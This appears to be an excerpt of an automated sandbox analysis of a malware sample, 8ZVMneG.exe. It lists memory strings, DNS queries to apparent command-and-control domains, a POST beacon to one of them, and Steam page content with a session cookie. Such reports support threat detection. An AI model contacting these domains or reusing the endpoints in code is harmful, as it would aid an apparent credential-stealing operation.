Source: 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=9141f4cafee052551e41627d; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type35121Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveFri, 20 Dec 2024 06:04:12 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Controlu equals www.youtube.com (Youtube)
Source: 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: bellflamre.click
Source: global traffic	DNS traffic detected: DNS query: immureprech.biz
Source: global traffic	DNS traffic detected: DNS query: deafeninggeh.biz
Source: global traffic	DNS traffic detected: DNS query: effecterectz.xyz
Source: global traffic	DNS traffic detected: DNS query: diffuculttan.xyz
Source: global traffic	DNS traffic detected: DNS query: debonairnukk.xyz
Source: global traffic	DNS traffic detected: DNS query: wrathful-jammy.cyou
Source: global traffic	DNS traffic detected: DNS query: awake-weaves.cyou
Source: global traffic	DNS traffic detected: DNS query: sordid-snaked.cyou
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: lev-tolstoi.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: immureprech.biz

Source: 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: 8ZVMneG.exe, 00000003.00000003.2376293640.0000000003C50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 8ZVMneG.exe, 00000003.00000003.2376293640.0000000003C50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: 8ZVMneG.exe, 00000003.00000003.2376293640.0000000003C50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 8ZVMneG.exe, 00000003.00000003.2376293640.0000000003C50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 8ZVMneG.exe, 00000003.00000003.2376293640.0000000003C50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 8ZVMneG.exe, 00000003.00000003.2376293640.0000000003C50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 8ZVMneG.exe, 00000003.00000003.2376293640.0000000003C50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: 8ZVMneG.exe, 00000003.00000003.2376293640.0000000003C50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 8ZVMneG.exe, 00000003.00000003.2376293640.0000000003C50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: 8ZVMneG.exe, 00000003.00000003.2376293640.0000000003C50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 8ZVMneG.exe, 00000003.00000003.2376293640.0000000003C50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: 8ZVMneG.exe, 00000003.00000003.2331522501.0000000003C5C000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2331680839.0000000003C5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://awake-weaves.cyou/api
Source: 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: 8ZVMneG.exe, 00000003.00000003.2331522501.0000000003C5C000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2331680839.0000000003C5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/
Source: 8ZVMneG.exe, 00000003.00000003.2331522501.0000000003C5C000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2331680839.0000000003C5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 8ZVMneG.exe, 00000003.00000003.2331522501.0000000003C5C000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2331680839.0000000003C5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=_92TWn81
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=Q6Qn
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=lILQ2m8IgfoI&l=e
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://deafeninggeh.biz/api
Source: 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://debonairnukk.xyz/api
Source: 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://debonairnukk.xyz/api2H
Source: 8ZVMneG.exe, 00000003.00000003.2331522501.0000000003C5C000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2331680839.0000000003C5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 8ZVMneG.exe, 00000003.00000003.2331522501.0000000003C5C000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2331680839.0000000003C5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 8ZVMneG.exe, 00000003.00000003.2331522501.0000000003C5C000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2331680839.0000000003C5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
